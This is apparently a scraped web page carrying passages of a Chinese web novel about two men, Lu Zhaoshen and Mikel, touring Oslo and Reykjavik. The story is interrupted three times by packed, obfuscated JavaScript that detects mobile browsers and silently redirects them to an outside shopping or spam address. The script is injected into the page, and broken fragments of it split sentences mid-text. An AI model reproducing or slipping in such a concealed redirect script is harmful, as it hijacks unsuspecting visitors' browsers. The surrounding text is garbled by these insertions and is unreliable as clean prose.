35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150229|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不知道阳光透过彩色的玻璃窗会是什么样子。 短短的二十分钟,陆朝深的相机已经塞了一百多张照片进去。 比起丹麦,奥斯陆的街头少了很多自行车,取而代之的是一条条的颜色鲜艳的有轨电车,上端连接着某种缆线,一路走走停停。 唐思颖发来的餐厅名字叫Vulkanfisk, 下了游轮之后信号变得非常好,陆朝深查了一下,这是一家奥斯陆的一家网红餐厅,主要卖海鲜。 没有麦朗陪着,所有的事情又变回原来的样子,陆朝深要找到这家餐厅不是很容易,费了点时间。 非常规饭点,店里没什么人,放着音乐,暖色调的灯光洋洋洒洒一大片,看着很舒服。 唐思颖坐在最中间,朝他挥了挥手。 陆朝深上次见到她的时候还是过年的时候,过了几个月,人还是老样子,小巧的鹅蛋脸清秀可爱,头发染回了黑色,发尾夹成了波浪。 唐思颖今天的气色看起来很不错,面前的桌上已经上好菜,全是大鱼大肉。 “你差点就迟到咯。”唐思颖说。 “你知道我从来不会迟到。” “快看一下吧,我提前点了一些他们这边的招牌,你有什么要加的就说。” 陆朝深脸上装作不可置信:“你今天请客?” “那是当然,”唐思颖说,“先尝尝先尝尝,这个是他们店最火的鱼汤,然后这个是北极甜虾盘,我看网上说这个胡椒炒帝王蟹也巨好吃...” 陆朝深还没把凳子坐热:“好的好的,我全部吃掉。” 寒暄了一会儿,唐思颖开启了疯狂吐槽模式,一会儿说这个制片人能力不行,装模作样,一会儿又说道那个明星带资进组威风得很,一点都不把她放在眼里,又说之前那个抄袭别人的编剧怎么怎么样。 这个在电影届叱咤风云好几年的大人物,见到熟人后,年龄自动变小。 陆朝深边吃边听,虽然过去几个月的时间里没见过面,但聊天的时候,就感觉经历一场时空穿越。 唐思颖说得畅快淋漓,用勺子剐了一口海胆,“我今天来,还想问你一个事情。” 陆朝深抬头:“你说。” “你那现在还有剧本吗?” “怎么了,”陆朝深说,“你才拍完,又想开新的了?” 唐思颖叹气:“这倒不是,过段时间我就要继续跟进宣传,等电影下映之后我就想筹备下一个了,” “那还早呢。”陆朝深说。 “不早了,”唐思颖说,“主要是我一闲下来就有点危机感,现在市面上那些编剧写的都是些啥?没头没脑的。所以我想提前先找个合适的,到时候就不用再操心剧本的事情了。” 陆朝深忍不住调侃:“你也是没放过自己。” 唐思颖“哟”了一声,“得,说得好像你很闲一样。” “我现在确实很闲了,”陆朝深笑了笑,“上个剧本卖出去之后我就没写了,这种东西太费脑子,还是喜欢拍东西。” 唐思颖:“我之前让你和我一起你又不愿意。” 陆朝深沉默了一会儿,说道:“拍电影我是不想了,我现在也挺好的,帮着Mikel拍点视频,过点手瘾就行。” “好吧。”唐思颖选择投降。 这几年,陆朝深拒绝过她不下100次了,没想过这一次会迎来什么转机。 “对了,今天怎么不把他一起喊过来?” “他昨天喝多了,”陆朝深说,“现在睡着呢。” 唐思颖惊掉大牙:“你俩睡一个床?” “不能吗?”陆朝深一副“感觉你有点莫名其妙”的表情, “我俩一人一床被子,床那么大,都是同性怕什么,凑合着睡呗。” 只要不会碰到某些东西就行。 唐思颖捂着嘴,笑得非常放肆。 17. 飞行 唐思颖点了一大堆,根本吃不完,吃到最后两个人又开始争了。 陆朝深指着餐盘上最后几只北极虾:“你点的,你要吃完。” “嘿——” 陆朝深擦了擦嘴,没脸没皮地说:“嘿什么嘿,确实是你点的。” 唐思颖觉得简直无法理喻,气哄哄地说:“我是想好好招待你,所以才点这么多的,不关我的事。而且这个北极虾真的不行,谁家好虾沾番茄酱啊,还没你炒的香辣虾好吃。” “那没办法,我还得上船,等会儿吃太多了晕船会吐,”陆朝深无奈地摊了摊手,“吃不下就算了,反正都要拿去喂猪。” 唐思颖翻了个白眼,挪威有养猪场吗? 但又听见陆朝深赶着上船,又阴阳怪气地说:“又要去找Mikel噜~” 陆朝深乐了,懒得和唐思颖辩论,“你怎么还和小孩子一样。” “哇塞~”唐思颖拍手鼓掌,“某人居然还说我是小孩子,装什么大人啊,不知道是谁第一次喝醉酒还在地上打滚不走的。” 铁证如山,陆朝深像是被哽住了,他怀疑唐思颖到现在还保存着那个视频。 “还有,你之前买的一个哆啦A梦的睡衣不小心寄到我家了.....” 黑历史一说就停不下了,陆朝深败下阵来:“我输了行吧,我也是小孩儿。” 唐思颖成功打赢嘴炮,转身去结了账,古灵精怪的,陆朝深闭嘴,心想这小女孩儿怎么比麦朗还幼稚。 出了Vulkanfisk,天气正好,唐思颖转手扔掉了长长的账单,“走吧小朋友,我把你送到码头,吃得太撑,顺便消消食,你后面怎么打算?” 陆朝深回忆了一下麦朗的计划,“到了冰岛之后,估计会在那待半个月,然后再把北欧剩下的三个国家玩个遍。” “玩这么久?你这都不是旅游了,算是旅居。”唐思雨端着杯没喝完的树莓果汁,由于已经喝不下了,只能小口小口地吸一点味道。 “我是没想到,安迪那小子能把你气得那么厉害。” 那天唐思颖刚回家,微信上突然就收到了陆安迪的消息。 一个半大的孩子,和家里人闹了矛盾,也没人可找,微信列表翻了半天,最后只有唐思颖最合适。 陆朝深说:“怎么你们都觉得是陆安迪把我气坏了。” “我听半夏说,你当时很生气,他从来没有看你发过那么多大的火。” 这点他承认,还是有一点因素的,算是导火索。 就像一辆跑了很久的马车,每天兢兢业业,不知疲倦,表面上看起来很正常,但里面的零件早都快烂完了,只是马车自己没发现。 直到有个不懂事的小孩儿,想发泄自己不满的情绪,向马车扔了一个石头。 这个石头刚好不小心打到了马车的最脆弱的一个零件上,于是马车就跑不动了。 “不过这小孩肯定没什么大问题,青春期都这样,我像他这个年纪天天和我爸吵架,比他还无理取闹,”唐思颖说,“那天他到我家也挺礼貌。” 陆朝深摇了摇头:“我妈之前把他惯坏了。” 现在想起陆安迪那些口无遮拦的话,陆朝深还有些心烦意乱,不愿再提这件事情,“你呢?丹麦我们已经去过了,你要是想去,我可以让麦朗发一份旅游攻略给你。” “我靠真的吗?那我是不是属于粉丝当中第一个提前得到攻略的人?” “真的。”陆朝深说。 “那你帮我谢谢Mikel了,”唐思颖说,“我估计就不去冰岛了,准备玩个一周多就回成都。” 一路聊到码头,上船之前,陆朝深有机会看了眼手机,麦朗在六分钟前给他发了消息。 ML:我醒了哥 ML:你多久回来? “你家那个Mikel在催你了?” 陆朝深先回了一个“马上”,然后若有所思地看着唐思颖。 “你下一部还是打算拍双男主?” “当然不是,”唐思颖满脸得意,“虽然前几部双男主都爆了,但是下一部我打算拍一部大女主。” “大女主?”陆朝深摸着下巴,“女主的年龄有限制吗?” 唐思颖:“没限制,咋了?你有本?” 陆朝深:“只是有一个初步的想法而已,到时候能写就给你说。” “非常好,我先预定了。”唐思颖说,“行了,快上去吧。” 陆朝深挥了挥手:“过年见。” “好啊,”唐思颖说。 “过年见。” · 两人道别后,陆朝深回到酒店。 一开门,麦朗就站在了门口,头发能看出来是刚洗过的,整个人精精神神,状态恢复得很好。 陆朝深的眼神很快瞄过麦朗的短裤,变得有点紧张,突然想起刚醒的时候不小心误触小Mikel的事情。 但麦朗现在看起来十分正常,当时意识应该还是混乱的,没什么记忆。 “你现在要准备出去吗?”陆朝深试探性地问。 “不是,我等你呢。” 陆朝深松了口气,反正他是不小心的,碰到也没办法。 麦朗元气满满地说:“下午天气好,我睡醒之后就坐那儿处理你上午弄好的商广,结果刚收到你的消息我就看到你了。” 像是算好了时间,知道陆朝深会这个时候回来,准时在门口蹲点。 “这样啊,”陆朝深冲他笑了笑,“时间估得还挺准。” 昨天弄脏的那床被子也被拿走了,床上放了一个新的。 陆朝深不知道该说些什么,这种感受很难用文字描述出来。 说麦朗是小孩儿吧,但人家对待工作上的事情又毫不疏忽含糊,旅游攻略也做得非常详尽,平时办事情利落又靠谱。 说他是大人吧,又总是会做一些看起来稚气未脱的行为。 不过呢,这对陆朝深来说很受用。 即使连他自己都没意识到。 陆朝深主动关心起来:“头还晕不晕?” “不晕了,”麦朗有些不好意思的挠了挠头,他这一觉睡起码睡了十三个小时,怎么可能还晕。 陆朝深:“那就好。” “哥,”麦朗的声音又弱了点,“我昨晚是不是还吐了?” 陆朝深迟疑了一会儿,说,“还好,喝多了而已,只吐了一点。” “噢。” 这要是换做是之前,他肯定会在这个时候暗戳戳地教育一下麦朗。 但现在不一样了。 麦朗的初衷是想和他一起喝酒,但这并不代表麦朗本人就很会喝,如果陆朝深没有接受Wilhem的邀请,麦朗肯定不会大醉一场,更不会吐得到处都是。 一想到昨天那副委屈的表情,陆朝深就很过意不去。 不过麦朗好像没有提他跑路的事情。 “怪不得有关于酒的广子你都帮我拒了。” “酒量不是最关键的,”陆朝深说,“你要健身运动,喝酒不太好,为你的身体着想。” 到时候这个酒怎么拍?让麦朗穿那种奇奇怪怪的服装? “好吧,那你过来看看这个怎么样,”麦朗拉着陆朝深坐下,“我纠结了好久,暂时选的这家的羽绒服和这个户外套装,去冰岛的时候穿,出片也方便。” 陆朝深当时最中意的也是这一款:“这家看起来是最靠谱的。” 麦朗问:“你穿L的可以吗?” 陆朝深不知道麦朗突然问这个干什么,但还是回答了:“可以。” “那就好,我还让商家给我多寄了一套。” 陆朝深看着麦朗:“还有我的一份?” “对啊,”麦朗说,“他好像是一套的那种,我也不知道你有没有带那种衣服,顺便拿了一套,冰岛北边还是挺冷的,你要是没带就不用再去买了。” 他好像确实没带这类衣服。 “谢了,”陆朝深默默记下了价格,多的话他也不好说,只会显得过于客气和虚假。 他能感受到麦朗把他当成了真心朋友,那层合作关系可能起了点作用,所以会对他好。 陆朝深从背后揽住麦朗的脖子,两人在笔记本屏幕的反光之下对视。 “那到时候我也帮你测评一下。”陆朝深说。 麦朗:“相信我,你穿这个绝对比我帅。” 陆朝深:“别捧杀我。” “这怎么能算捧杀呢?”麦朗抬手看了下时间,“哦对了,我们今天还有一个很重要的活动,你要不猜一猜?” “还有活动啊....”陆朝深思索着,这几天他俩几乎快要把游轮玩遍了。 除了..... “直升机折扣券?” ”Yes,“麦朗双掌击合,语气里藏不住的激动,“等会儿游轮经过峡湾,直升机会开放,我们可以去坐一坐。” 陆朝深恍然大悟,没想到麦朗还一直把这件事情记着。直升机的部分可以加入视频里,陆朝深拿了相机,给麦朗搭配了一下穿搭。 游轮逐渐驶出阿克尔码头的怀抱,麦朗提前和工作人员联系,预约了直升机。 他们要选一个适合的时间,俯瞰挪威的峡湾。 和在甲板上不同,“六月飞雪”号顶部的视野更开阔,和天接壤,古老的奥斯陆变成了很小的一块。 周围还有若干条船只,和游轮维持了一个相对静止的状态。 像大海里,鲸鱼身边的游鱼。 走之前麦朗手里拿了一包棉花糖吃。 陆朝深开了个玩笑:“悠着点,小心长胖。” “有吗?”麦朗用了点力,摸了摸自己的肚子。“你这么一说好像是有点了。” 陆朝深没忍住笑了:“开玩笑呢。” “我就说嘛,”麦朗又塞了一块棉花糖。 乘坐直升机前,工作人员说明了一些基础要求,什么安全提示啊之类的。直升机是四座的,前边还很贴心地准备了呕吐袋。 “你怕高吗?”陆朝深问。 “啊?”麦朗的眼神似乎有点躲躲闪闪,“我还好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150230|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 不怕就不怕,还好是什么? 随着螺旋桨飞速旋转,机身慢慢起飞。 高空的光线可能会很刺眼,麦朗难得戴了墨镜,坐在旁边一言不发。 陆朝深隐约知道了什么,暂时没让麦朗出境,拿着相机到处拍。不知道麦朗是不是第一次坐,反正他是第一次,体验下来还算新奇。 直升机到了最高点,下方的峡湾露出全貌。 这好像是中国唯一没有的一种景观类型。 陆朝深还依稀记得高中地理课本上讲的,峡湾由冰川刨蚀而成,气温上升后冰川融化,海水倒灌进山脉之间。 像是一只巨大的手放在了水面上,水流进了指缝。 听起来很奇妙,山和海,明明是两个相隔甚远的事物,现在却因为大自然的鬼斧神工离得如此的近。 陆朝深看着缩在座椅上的麦朗,捏了捏他的手腕:“你是在美国上的高中?” “嗯,”麦朗坐直身体,声音有点发虚。 陆朝深继续缓和麦朗的恐高情绪:“那你们地理课程是必修吗?” “是,但我地理学得不行。”麦朗说,“你们呢?” 美国高中好像是自然科学和社会科学都要学,陆朝深不了解,“我们高中以前会有分科,文科就会学到地理。现在都不分了,自由选课。” “你成绩肯定很好。”麦朗说。 陆朝深:“一般一般” 转移了点注意力,麦朗看起来没有刚才那么怕了,陆朝深趁机拍了几张放松状态下的麦朗。 “叮—” 一条很突兀的短信声。 陆朝深打开看了一眼,心情瞬间降到谷底。 是一条银行的转账信息。 一股冷意从陆朝深脸上闪过,麦朗很敏锐地察觉到了对方的情绪变化,也顾不上什么恐高了,挪了挪屁股,挨着陆朝深。 “哥,你怎么了?难道你也恐高?” “怎么可能?”陆朝深被逗笑了,快速删除了短信,眼不见心不烦。 “你终于承认自己恐高了?” “我....” 麦朗吸了吸鼻子,彻底焉了,身体从椅子上滑落一点。 “有一点吧。” “你早说恐高,我们就不用来坐直升飞机了。” 陆朝深不恐高,属于胆小那一类,这和让他一个人去鬼屋里玩没什么太大的区别。 麦朗没说话。 “那你还能拍素材吗?”陆朝深说,“如果你实在是不舒服,也不用勉强,这个直升机的环节不太重要,受众太少,有没有都没关系。” 直升机再转几圈就要回去了,陆朝深虽然说的也有道理,但麦朗还是决定为了粉丝们拼一把。 万一呢?万一有需要的呢? 陆朝深固定好相机,麦朗还是戴着墨镜,因为不好在直升机里乱动,所以这次的镜头着重于侧脸。 之前拍正脸的时候,有眼睛的帮衬下,麦朗的气质是纯中带欲的,现在遮住了眼睛,就只剩下欲了。 麦朗的坐姿非常随意,两只手展开放在后面,衣服的领口开得低,陆朝深今天故意给选了一件比较透的,胸肌的形状若隐若现。 同样都是欲,和昨晚那个任人摆布的麦朗不一样,现在看起来更轻浮,更潇洒不羁。 嘴边仿佛随时都叼了根烟,还会吹着挑逗其他女孩儿的哨子。 今天的风格就是如此。 太阳渐渐隐匿在海平面之下,结束后,直升机落地。 麦朗长呼一口气,腿都软了几分。 “你先回去吧,”麦朗说,“我去一个地方,晚上回来。” 也不说去哪。 陆朝深猜测麦朗可能是要和之前的伙计们打排球的,刚好他想把今天的视频素材处理一下,没多问,先回了酒店。 晚上,麦朗准时回到房间。 陆朝深正坐在阳台的吊椅上修图,听见动静,诧异地看着麦朗。 “你去打球了?” 麦朗笑了笑,没有直接回答,大汗淋漓的,上衣都快湿透了,全身冒着热气,然后走到陆朝深面前。 陆朝深心率又开始上升,如果直视前方,陆朝深只能看到麦朗的裤腰。 麦朗低着头俯视,突然撩开了自己的衣服。 “哥,你摸摸我的腹肌呗,”麦朗说着还把腰往前挺了挺,“我今晚做了点腹部的力量训练,真的胖了吗,我觉得还是没走样呢?” 陆朝深呆住了,心里只剩下疑惑。 这是在...? 他现在猜不到麦朗还会做出什么样的举动,只能配合麦朗,上手摸了摸。 很有趣的是,麦朗明明敏感怕痒,但又要赶着让人摸,陆朝深手碰到的时候,麦朗微微吸了气,小腹还收了收。 毋庸置疑,麦朗练得很好。 八块腹肌形状清晰,只是在无人在意的角度,上服被撩到了胸前的一半的位置,真的太.... 陆朝深撇过头。 这不是他该看的。 18.烟湾 气氛有点尴尬。 陆朝深把这种行为视为:一个学生因为被家长怀疑上课没认真听课,为了证明自己,疯狂地学习。拿到一张满分试卷后,急冲冲地跑到家里,把正在喝茶的老父亲吓到蒙圈。 “放心吧,你的身材一点都没走样,”陆朝深又轻轻地戳了一下手感和搓衣板差不多的腹肌。 他搞不懂为什么大家都喜欢这种硬邦邦的身材,除了好看,没有任何实用价值。 不过麦朗这种行为可以排除在外,他练只是因为自己喜欢。 “我白天开玩笑呢,八块没一块是软的。” 麦朗站着没动,说:“好吧。” 陆朝深往后仰了仰,靠在椅子背上,离麦朗的下半身远了点。 如果肢体语言能够写出来,出现在纸上的一定是:“你有没有觉得,这个站位真的很奇怪。” 麦朗反应过来,清清嗓子,又摸了摸鼻尖,把衣服撩上去的衣服拉了下来,一连套的小动作,看起来很忙。 “我没别的意思。” 陆朝深转过身,继续修图,嘴角止不住地上扬,没说话。 还能有什么别的意思? 上次丹麦的先导片好评一片,到了冰岛之后就要开始陆陆续续放出之前的存稿了,丹麦的视频全都要发布,工作量很大,陆朝深需要提前整理出游轮上和在欧登塞的视频素材,之后的工作安排才不会过度拥挤。 一切都在计划之中。 洗完澡,麦朗从房间里拖了一个椅子出来。 深蓝的海面带来微凉的海风,吹走了身上的热气,麦朗今天没有剪视频的欲望,拿着手机回复微博和ins上粉丝的留言,时不时看一眼认真工作的陆朝深。 他平时很少看评论区,但陆朝深一直督促他要积极和粉丝互动。难点不在于他想不想,而是大部分粉丝的留言都不好回复。 对于大部分露骨的,麦朗日常红脸,只能点个赞。 翻回那天的长图九宫格,热度依旧不减,这两天他的微博粉丝一直在涨,甚至带动了B站的账户。 看来陆朝深说的没错,互联网上的帅哥美女如云,光靠一张脸是没办法出彩的,有一副健康美丽的身体也是一种优势。 按照陆朝深的原话来说:“在不违反平台规则的情况下,粉丝想看什么就看什么,要发展人民群众喜闻乐见的大众文化。” 非常有道理。 游轮上下灯光通明,麦朗回得差不多了,找了个合适的角度观察着陆朝深,又不会显得太冒犯和直白。 因为光线的原因,陆朝深的另一边脸上落下一片阴影,鼻梁上架着一个大大的黑框眼镜,表情比平时还冷一点,这种冷和心情不好的那种冷不一样,更像是一种最放松的状态,毕竟不是每个人都很爱笑。 麦朗忽然想起在哥本哈根见到陆朝深的第一眼。 那个时候,陆朝深虽然看起来很和善,客客气气的,但外表之下是一种掩饰不住的疲惫。 之后去买菜,麦朗假装没看到那双微红的眼睛,一直在找话题,希望能让陆朝深不那么难过。 昨晚喝酒的事情,其实他也还记得。 以陆朝深的性格,是不太愿意拒绝那个不知道是德国人还是法国人的要求。最开始他是有点小委屈,但最后还是把自己给说服了。 因为自己当时也没拒绝别人,他要是态度坚决一点,不喝那么多酒,就可以陪陆朝深喝那杯“日不落”,还有自己喜欢的叫做“热带月亮”的鸡尾酒。 意识混乱的时候,他一直在想,那个男人是德国的吗? 柏林男人好多都是gay,陆朝深会不会觉得不适? 后来在卡座喝酒,他边喝边等,感觉过了一辈子那么长,陆朝深才来找他。 不知道为什么,有陆朝深在,他就觉得很安心。 当时他是可以清醒的,但他不想。 估计是酒精在作祟,麦朗想下意识地依赖这个和自己很有缘分的旅游搭子,就像小时候明明能自己走路,但还是故意装作很困,让家人抱着自己。 他们之间的距离忽远又忽近,陆朝深身上的谜题还有很多,不禁让人激起一种探索欲。 比如今天在直升机上,究竟是看到了什么样的短信,心情会突然变得不好? 他还想知道,像陆朝深这样一个去全年都在为家人奔波的人,为什么会突然放下一切,来到北欧。 麦朗想了解他多一点。 可能是年龄和职业的原因,长这么大,他还是第一次遇到这样的人,他身边从来没有过这样的朋友。 成熟稳重,又能和比自身岁数小很多的人同频交流。 很特别的一个人。 “哥,”麦朗轻轻喊了一声。 陆朝深依旧看着屏幕,但停住了触控板上的手指,“嗯?” “你还有多久整理完?”麦朗说,“剩下的我来吧。” 反正他现在也有了成熟的审美能力。 “没关系,还有最后一点,”陆朝深说,“怎么,无聊了?” 麦朗本来想说不无聊,心里想看着你就够了,光是回想之前的事情足以打发今晚的空闲时间。 但都这么问了,麦朗故作松弛,伸了个懒腰,口是心非地说:“是啊,简直是太无聊了~” 陆朝深合上笔记本,看着他:“那你要不要出去玩?” Yes。 麦朗弯了弯嘴角。 成功上钩。 · 两个小时后。 按照正常的时间点,游戏厅已经该打烊了,灯黑了一大片,两人拿着手柄在一块巨大的屏幕前操作。 画面上,有个小人正在开飞机,开着开着就撞墙了。 “靠,”麦朗备受打击,挫败地放下手柄,“这里都过了十几次了,这个双人成行咋这么难啊。” 陆朝深镇定地说:“别灰心,这个关卡很好过的。” “不玩了不玩了。”麦朗捂着脸,干脆直接躺在地上。 好丢脸。 陆朝深没说话,拿起麦朗的手柄,操作了两下,飞机顺利飞出洞口,然后屏幕一黑,来到下个关卡。 游戏通关的提示音十分刺耳,麦朗坐了起来,眼睛瞪得老大:“牛啊,我之前怎么没发现你打游戏这么厉害。” “不是我厉害,是你技术还有待提升。”陆朝深像逗小孩儿一样,“还玩吗?” 麦朗像是泄了气一样,抱着抱枕,只露出一双眼睛,眨了眨。 意思很明确。 “走吧。” 陆朝深刚想起身,麦朗突然化身弹簧,从地上蹦了起来,还拉了陆朝深一把。 这一下手劲很大,麦朗温热的手几乎没使什么力,属于年轻男性的优势被完美地展现了出来。 不远处,工作人员拿着打扫的工具过来收拾,游轮上的大部分场所都陆陆续续关闭了,顺着大西洋上一条短短的航线行驶,一切都接近了尾声。 回到酒店,床上的被子恢复成了两套。 麦朗完全不知道早上到底发生了什么,睡觉的时候还往陆朝深那边蹭过去,两个人离得更近。 被窝里白光乱闪,麦朗点开了Airbnb,给陆朝深看了看:“这家民宿怎么样?” 陆朝深被手机的光照得有点睁不开眼睛,虚着眼翻了一下,麦朗选的民宿很不错,设施齐全,还有一个独立的厨房。 不过好像只有一个卧室。 麦朗立马解释说:“卧室里面有两张床,我看了一下有两个卧室的民宿太少了,酒店又没房,只有这个还行。” “没问题。”陆朝深说。 他对住宿没什么特别的要求,干净且能睡得舒服就行。也从不操心其他的,麦朗会把所有事情安排妥当周到。 陆朝深象征性地问:“冰岛的计划已经定好了吗?” “对,”麦朗说,“我们在雷克雅未克待不了多久。” 冰岛能玩的东西太多太多,雷克雅未克只是其中的千分之一。 想到这里,陆朝深竟然觉得有些不真实。 明天就要抵达上大学时在社交平台上刷到的如梦如幻的地方,还是和一个在半路上认识的混血小孩儿。 心心念念,世界的尽头如此遥远,像是登上了月球表面。 他得用心,认真,且精力充沛地玩。 所以要早点睡。 “先睡了,晚安。” 麦朗设置好闹钟,关掉手机。 不可察觉地往陆朝深那边靠了靠。 “晚安,哥。” - 雷克雅未克,冰岛的首都。 如果没有直译成中文的话,Reykjavík的意思是,“烟湾”。 上午10点,“六月飞雪”号在雷克雅未克靠岸。 下船之前,船长在出口举办了一个免费的拍照留念活动,木桌上摆着上次的客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14168581|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人们的留影,照片里的场景真实又熟悉,大多都是恩爱的情侣。 从丹麦到现在,论第三视角的合照,他们现在手上只有一张,也就是第一天在集市里粉丝帮忙拍的。 摄影师Ava是一位丹麦的艺术家,带着贝雷帽,约莫30岁,看到两个人过来的时候,眼前一亮又一亮。 “Hi!”Ava很热情地招呼。 陆朝深的手腕被麦朗拉着,隔远一点还以为两个人在牵手。 麦朗更热情:“Hello!We would like to ask you to take a photo of us together(可以帮我们拍一张合照吗?)” “No problems(当然没问题)!”Ava表情很微妙:“Are you(你们是)...?” 陆朝深飞快看了眼那些爱心相框,说道:“Only the photo (我们只需要照片就行了)” Ava点点头:“Oh~ It''s OK。” 这次的拍摄有点像拍证件照,Ava指挥着二人站在栏杆处,以背后的码头为背景板。 Ava若有所思,说道:“Maybe..You can take some poses(你们可以摆个动作)” 周围还有人在围观,麦朗看了眼陆朝深,对方没动,应该就是想让自己来。 摆什么动作好呢? 经过陆朝深的美学教育,他实在是不想勾肩搭背比剪刀手了,一点意思都没有。 Ava对麦朗比了一个手势,两个手指从分开到挨在一起。 提示得很明显,一场正大光明的开卷考试。 陆朝深心率又开始飙升,没敢动。 麦朗突然灵机一动,冲Ava对了一个“I got it(我明白了)”的嘴型。 下一秒,麦朗还是搂住了陆朝深的脖子,歪了歪头,靠在一起。 左边的人,笑容洋溢,阳光把金发的每一根发丝都照得发光。右边的人,头不偏,也不倚,双手揣在兜里,棕黑的瞳孔气质沉着,温文尔雅。 Ava拍得很快,立马就把照片洗了出来。 “You two are really handsome!(你俩真的很帅)” 麦朗接过照片说了声谢谢:“Could you please send me an electronic copy of the photo?(请问能给我一个电子版的吗?)” Ava拿出手机:“Of course。” 一切结束后,陆朝深如释重负,和麦朗下了船。 冰岛的气候比丹麦要冷很多,即使是最热的时候也只有十几度,这里的白天长达18个小时,再往北边走,就能看到极昼。 麦朗订的民宿依旧在市区,他们就在这儿住三天,足以把雷克雅未克玩个遍。 抵达民宿收拾行李的时候,麦朗小心地拿着合照,生怕弄出褶子。 “哥,刚刚为什么不直接拿个相框。”麦朗问。 因为那是情侣用的。 陆朝深也不知道麦朗看没看出来,Ava很明显把他们当成了一对。“gay couple”这个词好几次都在Ava嘴边呼之欲出。 说是肯定没法直说了,陆朝深撒了一个善意的谎:“那个相框长得不好看。” 真的丑吗?肯定不是的。 麦朗“哦”了一声,还是当真了。 关于雷克雅未克的玩法,主要是体验当地的人文风情,实际上,基本所有旅游国家的首都,都肩负着这种独特的文化功能。 在游轮上的时候,麦朗在微博上问过粉丝,对雷克雅未克的哪个景点最感兴趣。 最开始还很正经,比如什么教堂和彩虹街之类的。 但是如今,那条微博的热评第一已经彻底变了,其他人也不嫌事大,把评论顶到了最前面。 雷克雅未克第一站,就是粉丝呼声最高的—— 丁丁博物馆。 麦朗没法食言,只能顺着粉丝的意愿来,为了这个,他今天还专门穿了一条非常宽松的黑色牛仔裤,夹克里面叠了一件长长的打底衫。 陆朝深很好奇,问:“这个博物馆是干什么的?” 麦朗的脸上又浮现出浅浅的粉色,假装很自然,很自在。 “就是字面意思。” 19.彩虹 既然是粉丝想看的,陆朝深建议把参观博物馆做成一个单独的视频。 麦朗很担心:“我怕我到时候发挥不好。” “怎么会呢?”陆朝深问。 “我有可能会结巴,词穷,”麦朗说,“这个博物馆对于我来说有点太特别了。” 陆朝深取出内存卡,换上了一张新的。 “没事,你放心说,”他虽然疑惑,但表示理解,“反正有后期配音。况且你现在又不是一个人。” 不得不承认,在中文的文化语境里,这些词是很少出现在生活视野里的,文化的多样性和差异性在这里凸显。 但不一样的是,麦朗是混血啊,算是半个美国人。 陆朝深问:“你小时候在哪里上的学?” “上高中之前都在上海读书。”麦朗说完又反应过来,“但是这个和性别教育没关系,国内这方面教育做得很不错了,至少上海是这样的,那些东西我都懂。” “噢噢,”陆朝深习惯性地逮住漏洞,“那就是单纯的不好意思嘛。” 麦朗吃瘪,又不说话了。 这应该不算害羞吧。 为了更好地了解博物馆,陆朝深提前拉着麦朗一起观看了一个关于丁丁博物馆的纪录片。 纪录片拍得很详细,涵盖了陆朝深对于这个博物馆的所有疑惑。 起初他也有些膈应,但看完之后彻底没有了任何的感觉。 博物馆的全职经理是一个年轻的冰岛人,大大小小的事情都是他在负责。建馆是以绝对的科普和收藏为初心,采访中,这位经理还说过,博物馆只有一个原则,那就是杜绝无意义的瑟情。 这一点陆朝深很赞同,大多数人看到这个博物馆的第一反应,要么是觉得猎奇,荒谬,甚至还有少部分的厌恶和不适。 但在他这里,这是完全是有意义且正确的。 展现这个世界的方式有很多,他只是选择了一个独特的角度。 看完后,陆朝深问麦朗:“你觉得怎么样?” 麦朗也看得很认真,思考片刻,说:“我觉得,这个博物馆很有参观的价值。” “那就好,”陆朝深很欣慰,打算继续逗一逗他,“现在怎么不害羞了?” 麦朗顿了顿,看起来是底气不足:“我没有。” 陆朝深笑了笑,没揭穿。 确定好这次视频的主题,陆朝深想了一下大概的文案和视频内容。 “你待会儿就正经介绍就行了,把它打造成一个偏科普向的视频,说不定还能冲上B站的每日必看。” 内容的完整度肯定达不到那个纪录片,但视频是面向粉丝的,以麦朗的视角解读这个博物馆才是看点。 麦朗点点头,在网上提前买好了门票。 冰岛的公共交通还算便利,勉强能达到及格线,毕竟修建有太多的阻碍,也不好要求太高。 除了大巴,雷克雅未克市内还有一种共享滑板车,不过价格很贵,和国内18块钱一个月的共享单车像是两个世界的产物。 博物馆附近刚好有个停放点,到了之后,陆朝深怕麦朗紧张,一直在加油打气。 “你的大部分粉丝都是冲着你来的,所以不用局限于单一攻略向视频,大胆地开拓自己,”陆朝深说,“虽然不一定每个粉丝都能沿着你的脚印去旅游,但情绪价值也是价值,就算去不了,她们也会开心的,把内容做得有意义,也是我们的目标。” “好。” 麦朗听着,突然就觉得很安心。 一切准备就绪,录制开始。 “Hello,everyone,欢迎来到Mikel的频道。” “我们现在来到的是全世界仅有的,也是最特别的博物馆。” 麦朗说完,离镜头很近,像是在说悄悄话:“它的名字叫做,丁丁博物馆。” 